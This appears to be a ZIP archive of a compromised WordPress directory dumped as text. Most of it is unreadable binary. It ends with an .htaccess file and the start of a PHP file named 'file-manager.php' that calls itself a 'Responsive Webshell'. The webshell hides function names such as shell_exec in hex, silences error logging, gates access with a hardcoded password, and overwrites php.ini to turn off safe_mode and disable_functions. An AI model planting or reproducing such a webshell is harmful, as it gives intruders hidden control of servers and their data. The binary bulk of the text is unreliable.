:|.]3vH7adbwl.Q9HLzRFANh).w/	+oER~;nRgLosmvywndbcD#$b	E%2l0,Jc/gYJ;2ˈ:vh3p|a&Z碕H;Lf'{N\Oa嗢~E+%,@oե6̂B8poosmvywndbc8 Ry }:Ϝ G쏺x0tusizcofhjYn(PNFx?Vi5×jnAp׾ z"ᏦOv@/oZqQA a8qLBc\T\#oJRDi!ֱn4^?Kl} Tsd 5A@z8jiaJVosmvywndbcF}~O#Urǻ6nPosmvywndbctusizcofhjUʫ*1OI*2ϸ$)~t4ѐ_; y$tusizcofhjTw5hSLsg`ud7=H!0foܾrO 5|WΧcɪp8*e$ v|ڶ%;il+\./.-
6+d[[Jq;w~دg^tusizcofhj_Jf&qRu9:*xetq)x*LP".K|+(!hr^'tusizcofhjļd+\nI{@oؒ/hXop-/VXQ\)ؙ2|m%(X8u{tusizcofhjs΀kYFufCi{ɛj$,dsA=H@Hlm)ՇALGg*dilqLgԛ~;8ԟzMtRpYcAXfs :퐜T]͊vKDb$gosmvywndbc;@b?]4܋jW%Rgڸ`CRDÒAB맩64{bN tusizcofhjtusizcofhjrQ\z~j3h+NpdMYj wێzea(;τd]̈́zVjzoʥĲ zXٻZo7%bÁjשּׂe&	o._}mȻtusizcofhjIKdQq
,f M[ѐRutusizcofhjhQ0 T+*q*osmvywndbcʶ[[ CNEY	 #QDI98w,gp/(~ ^ԀB~t՚
(Lf-s+)[Aeڟ]Yv|wC`wm$'gtusizcofhjN8=0M 'NSPcݾ6@Mkt7{`ÕמJۥZ!͍l1*NRyTm)_Btusizcofhj5~%Nn2Xt6¦
@{#qqm%	TNLzZ}u;eWU)Cs7.pP*As Sftusizcofhjtusizcofhjk][|&+PE+xY,]7hS;mǛ[Kj[m~J{SFG\0Xtusizcofhj/! ˘þ/.KtȔ
UThRlo ]05b~o#G/YEosmvywndbcuL{XZtE1UۺmzhxLNDœFOL4~n˓{^#fi=D ۑ^rZ\tusizcofhjtusizcofhj BQv8
ҭ,tڲiF
K OLCvQӿ8[,r	@8r{7 ˂p:JtusizcofhjzBv7[~4q9W]7+ ]ǹ3*:}EK|
ޟ8d$Y?u"WdUλ0`
Mtusizcofhjl{H^+d!__.yp%%Ҩs:uyy,KĸX^\M.hIpC3) Q=ȃy8K"5Q/wosmvywndbc5H	`9osmvywndbct-I{w ^DB&TI-XdjUjJ0U *;"40_3WL)LKB*"E@g RF|t=oP
QTTxj~,6'9lہg	gj}rhUP/l=PǹJͶd&88nWɓUNSd:x+ /wQţ; 	܂v^gH1}MODڒwSpyn-Z{i ڤfwBXïM)këT#J}:Tg̿e,;VO2hQLP6|K?Fz3osmvywndbco2phF	˚QgDa8stj	n i%Ԝp}g-!.]7',SONHӪSjTjM?~sWӿй;m}aKʽjA,TCB)HN[Ij2U$Dp}P7̀6OzuL}ɖu\J)m3Wor~0`uD1/Z]m|)UZ;zO-m"?u:_ntitusizcofhjϟzDU[A2(^e!	UIp$Vu@,-.	D,OF)pۉosmvywndbc
PwcP~n@ug}TX`k@%kR|fna(tusizcofhj&?TOܩ;SN)x"av_M[O]g*UZD4lr.W"UtX=l,$a!c[osmvywndbcfAZ5B	95fUxvj=N	-bjf ;Pݖu#tusizcofhjB	6f3w^9ڲ(ߟ[osmYGG\w_Q776"Ѥ]$yBY4|ǶN$*U,HmˬK'Џzosmvywndbc7W۔wG~2	v=ȓ׾2@Z9(wsۈ=[Z[x#J\/gpnRb$~b	~B:-̵T g?kp+'3[2B^Hʂ-tusizcofhj="d}?osmvywndbcfM+
D\,s}oP0krFىosmvywndbc*r?HG~cIt_L}@cat%/S@v@uXgcEt=īq}ltusizcofhjr8tusizcofhjQa/ӬWX]{)_#`#F"}bsTwΜXSP06|&9=)T'sLnZtusizcofhjŠ I۫h6~sJmJEPuV)&\cL{zv+0!ݿo r߭|"EƁ6ݲF/}u@eO}S.V]QM
}$+.e25+Y^:~"xДD자Ab qFtF㫈zc扃]n؏$nĴ^rsk;gLL jWbaxW@^٬gmy9Fae?\¨yBZD햞0wo!SE]6g $JdPZM%H4^D4^LSou}w29/,;`P 䤎eӬǻ5Ic!=o-q6n3!/eF	˷v`0,BǾ$tusizcofhjq?yRqe*rHNf58;Ws$!)j ^ƣv31@.8.p39h4%5Njb1\sv*J4%qb
|q3#g@gAKTosmvywndbc`_9݄ 黸6b6M
{ɎWnrzw*E.bMC©MI\%8dMas㗺؝qQ{:RTsƠ)jfF`ү}%osmvywndbc5Ÿ-4g`S4#sXjO+|ѪR溤7&*S䘶T^	gtķ򕭐]|m_pD#YĮUh)/.VmosmvywndbcXRߴYv#tc!vF#M+6Mr-)^8;bZ |\r砕؏jQ׿abjMχ?\+\P$	[_)h7u?oHIf/2'mƘɏּ+ ^Qe-'@VU!Ulh[WpeBqEŒh) R
(osmvywndbcr|*"j~^#v/!k6Ͳ,ߘ9)'rVH69\aE2Xn&$q5دhSs`k0=tusizcofhjRLS,a̞?7mf_2)7nX	*eh+{?p'p[Ȓ^M.tusizcofhj|1MNnݴ.0 87YN"Py|nPtusizcofhjmGA}g搯+#Kc=9mPw)G]SVtusizcofhjQ	*oH13-C!fyN081uqnD0${AV*ъ]茶TXC`XBF=~ۚ +g*]k~posmvywndbcosmvywndbcͩ#\ߖ'&@6בɊDjqiiy`ܑ35BrosmvywndbcyBO|S~*	Ls~(Dhw	A[j- duZ	,Ӏ1|6w/v̦`h-p"H/a2boؽH8WJYkdjCeyUwdڀEQuۍZ9sK?_Yb9ۖ2)dzGu*iJP0	_73#W	1vKJ 7W6eZLZ:$&VAwz5grfosmvywndbcl}kcM\e/9:ƆPC:o4X,@G1ߤ  ᏢDb}tusizcofhjΓZ"Lt2#(p ۨp~bKk	'.SZ` '7DJΝ՘DuJ7h@UVCֳpdv`a =̚^R2afx*]Sg"+xǊlz`2M['Hnvbm1xFP#*$"
b/"?+(88qs9^;PUbe+)@FuMU]FL0YDwtusizcofhjA{}",ub?mJȜ=xF3PK҄(2aJ~q/.klMg
n~Zf2%=|8|@iovAFUosmvywndbc
jtusizcofhjacMSQUC7%5#WrF2+Z[vpMY%9{ŉQtݫ#IjH+Y3ܳxe۴cz6ߺrU[|v΅gSi#u68osmvywndbc+Lr5XO_{6}3ۈʻ[Xcĺ?̙*aI{:Djן$I5˂E7) GщUw;LvSll:䄝8|1JFZ 
?oi@ziLܬiӬ]wZ3_돛R6g-XbX(Ľvm.],z2Qd8b-_&m9ˁD݉Fw_x(H.'tusizcofhjӱ;S@&8zPMcmIBDm&8ˊ(iXdY~qE&niQ c-lj "Ktک9k1ߞ@f&s+L"H| 4ɏ;9ڶ	a P-_UxKtusizcofhj\Tm
dIfwHXHBIZ"䱗ù,5V{؃/Bގ`Shu)}3a·l	wMTai5TGøvp([rtusizcofhj͜V2O3d9tqr͂3c{X?/nE|t='ۈ"TM4tusizcofhjŘh}fզqf/^/(0IgLyJ@ &M @HQ	OaDPؕwB6J?]VI~Oۏ CYCf!1f ZFfXvy(_g]Eke!:sdW4)
Yu`4,f5;zdA{hn:&]
 YagGCEtusizcofhj'o12D@G3N	#_| qd
M%JM7_!2N
~**v1PSm
4Q9zd꫙|Yb}:?-PцJ&;^ۯ8LE2,@5꒮":ET0 Ħ"F\sS	7y `-z^+\osmvywndbctusizcofhj|cɧB3'imX IP$Z|Vs@c?%r]JCؤlsޮvv-߾xa
^o0my|Tqv3#tusizcofhjqNkDWm
L.kpo:tq᭕lRf^JVvFѲiSB {8Z\xpF~8]~#@V«1G`wL+04KmCxO9i~y9D5(osmvywndbcEF75PeY'9ͦIx(aPY|etusizcofhj|XM6y
}+~uQ:=}""ei+QDy&o_xeX]Jqk偖)ДΨC]yJBX/ޥ1ڟH$!-
 tn*jC?7?"gd8$'k})̱xMAXvbKo3)zWxwa82OdZ!tߵ\osmvywndbc9IYM_AmgFJDb]Wn1=9 { m[4EȆ
\Y7*\tusizcofhj1\M%
ίL9] 	Ly!خ8'V:ctusizcofhj@]-etjh$/[n1觝^]hw9`[Ufab!L|FC4_SQDxf5*҃ʦ\9\
xJ60 8Q26βt3* RŲr]{Ϝ4Iu|+ѷ6o
bƇ[JޏɭХD0M7KA~Mxm̲!BOoxtusizcofhjoI/t#-.𙇤uoÇG}*=^YM":LqX୉\+vniJdbmX)D
#ZkWg2L*6/Yϰ2qNg+Qo 'Ijg;1ln/ey@KL9̓IQRdf8J˧}\b{|,dcn.UW˚Dc3skRpĮ`ٺ{AsHۼ/	z!Sk@nVvDFQ1}o)JaɀIeiwP2:8(45ގd.ݩM܋HL^F'zD~ꑇ%osmvywndbc%o~!SFb.vx 5s)'NE$.
M9EاWTn7_mYV]L)K0,qF?dKR6g|n0@(BVʪ^]eq$5$ŕe_2;ޡ}Y53/tjI: 8kob\3F{llOn$DP.KR'FWBqHtusizcofhj؈nBnݾRp&h2C2U+^E}Xb:;~ܮO塡
B0p!= 0_{D(mD/ffA~JFRp"y=ǩ%Gu!'o~rsidϒzE1%gnOfJD{G9ԹRNOP;Tي/[ɰ&lUkģ|tusizcofhjVUj+LfBH,mKo1Mi3^m
CC|r\/~cbMLH 6F/?cɨJ;]/rix4 VZdtD/Gposmvywndbc[b C 	X5251Pn
LX*e}DD{{&qi֯Mxַ՟M- ∎'8x!pTiF6rD}%I| 1HxnfS]Kyِ"i͐T[F, =9k`@Lgd6A$lQיphdN@ ~ܶ!]QKu/bs@7Z_b_5ľWosmvywndbcBd x _~EO,E.39Dh`ĸ^Kfյ:9npE:z~#bT=qWHcp0ہ\..˱$iosmvywndbcYqS#7nok%_MFtusizcofhj5yL`&osmvywndbcOZ! \!s;_l$832&If1f/B̔X52/A)4`G~S1C2/h	&\6uosmvywndbcX""׬fU%D-V4sbƏw$]ߵB}j~B.ӔW8nW~?v+d-S%OQdr̭z0p[7s5%t==}(¬f37iG4:`G##$'OmnǮj
8wwCh2c  oAU'45BXG~LPosmvywndbcJm
YCǔ˦|{9$ Xh0̀u]gܳ_0L]Vb= ځ(siViW('ב x(]M=~ݛTQQ7_osmvywndbcPt33i2IyD4_oK-$	yPhW2'׹ggx_$Xa&o,?h3L!,?$!T+lp۳ʎu/
d4ܮ^(3meF·Id~3`qi⼘ÌosmvywndbcV4ʮvT:B'a$GAf7/-U2(AꓨYK]Ze--"Mr W1/p]X'ݯ5LM_0҇+aKƌ Qk22yK6z-uMݦaɕ,
@!z[."	` 'C\VFcCiqXB}UIAx4LӾosmvywndbc~ fKu&!+CtPx5wtޑC͆wyt!Boh%p1aUK
sfpߘknXxYH?_Q\)@a8O(47=fNx1еf踹 :,k}q1Q׈vҽN lhL֤oBfFԑCtusizcofhjkiAUn!PXsT͝\w_q__"L:Kz7JM/.*"@D;CDl'΄ZdѸZcjn~:=PÛ=NeݕL%%)P⭹,ψtusizcofhj]osmvywndbck׎b*c7[]k|vosmvywndbc)̒ZiT
~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! pkz    (  readability-score-groups/wp/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       ! D9V  9V  ,  readability-score-groups/wp/file-manager.phpnu [        <?php

          /**
            * Responsive Webshell
          **/

$a =   [
        "7068705F756E616D65", # [0]
        "73657373696F6E5F7374617274", # [1]
        "6572726F725F7265706F7274696E67", # [2]
        "70687076657273696F6E", # [3]
        "66696C655F7075745F636F6E74656E7473", # [4]
        "66696C655F6765745F636F6E74656E7473", # [5]
        "66696C657065726D73", # [6]
        "66696C656D74696D65", # [7]
        "66696C6574797065", # [8]
        "68746D6C7370656369616C6368617273", # [9]
        "737072696E7466", # [10]
        "737562737472", # [11]
        "676574637764", # [12]
        "6368646972", # [13]
        "7374725F7265706C616365", # [14]
        "6578706C6F6465", # [15]
        "666C617368", # [16]
        "6D6F76655F75706C6F616465645F66696C65", # [17]
        "7363616E646972", # [18]
        "676574686F737462796E616D65", # [19]
        "7368656C6C5F65786563", # [20]
        "53797374656D20496E666F726D6174696F6E", # [21]
        "6469726E616D65", # [22]
        "64617465", # [23]
        "6D696D655F636F6E74656E745F74797065", # [24]
        "66756E6374696F6E5F657869737473", # [25]
        "6673697A65", # [26]
        "726D646972", # [27]
        "756E6C696E6B", # [28]
        "6D6B646972", # [29]
        "72656E616D65", # [30]
        "7365745F74696D655F6C696D6974", # [31]
        "636C656172737461746361636865", # [32]
        "696E695F736574", # [33]
        "696E695F676574", # [34]
        "6765744F776E6572", # [35]
        "6765745F63757272656E745F75736572" # [36]
    ];

for ($i = 0; $i < count($a); $i++) {
  $f[$i] = hex($a[$i]);
}

$f[1]();
$f[2](0);
$f[31](0);
@$f[32]();
@$f[33]('error_log', null);
@$f[33]('log_errors', 0);
@$f[33]('max_execution_time', 0);
@$f[33]('output_buffering', 0);
@$f[33]('display_errors', 0);

$password = "N@GAHitamDariT@D1";

if (!isset($_SESSION['authenticated'])) {
    if (isset($_POST['password'])) {
        if ($_POST['password'] === $password) {
            $_SESSION['authenticated'] = true;
        } else {
            echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Wrong Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
            exit;
        }
    } else {
        echo '<!DOCTYPE html><html><head><title>Login</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"></head><body class="bg-dark text-light"><div class="container"><div class="row justify-content-center mt-5"><div class="col-md-4"><div class="card bg-dark"><div class="card-body"><h4 class="text-center">Enter Password</h4><form method="post"><div class="mb-3"><input type="password" name="password" class="form-control" placeholder="Password"></div><button type="submit" class="btn btn-outline-light w-100">Login</button></form></div></div></div></div></div></body></html>';
        exit;
    }
}

$r0 = $_SERVER['DOCUMENT_ROOT'];

# php.ini Auto Create
$b0 = fopen($r0.'/php.ini', 'w');
fwrite($b0, "safe_mode = OFF\ndisable_functions = NONE");
fclose($b0);

$xqv = ""; // blackdragon
  
# LogOut Option
if(isset($_GET["logout"])) {
  session_destroy();
  echo '<script>window.location="?";</script>';
}

function fsize($file) {
  $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  $pos = 0;
  $size = filesize($file);
  while ($size >= 1024) {
    $size /= 1024;
    $pos++;
  }
  return round($size, 2)." ".$a[$pos];
}

function hex($str) {
  $r = "";
  $len = (strlen($str) - 1);
  for ($i = 0; $i < $len; $i += 2) {
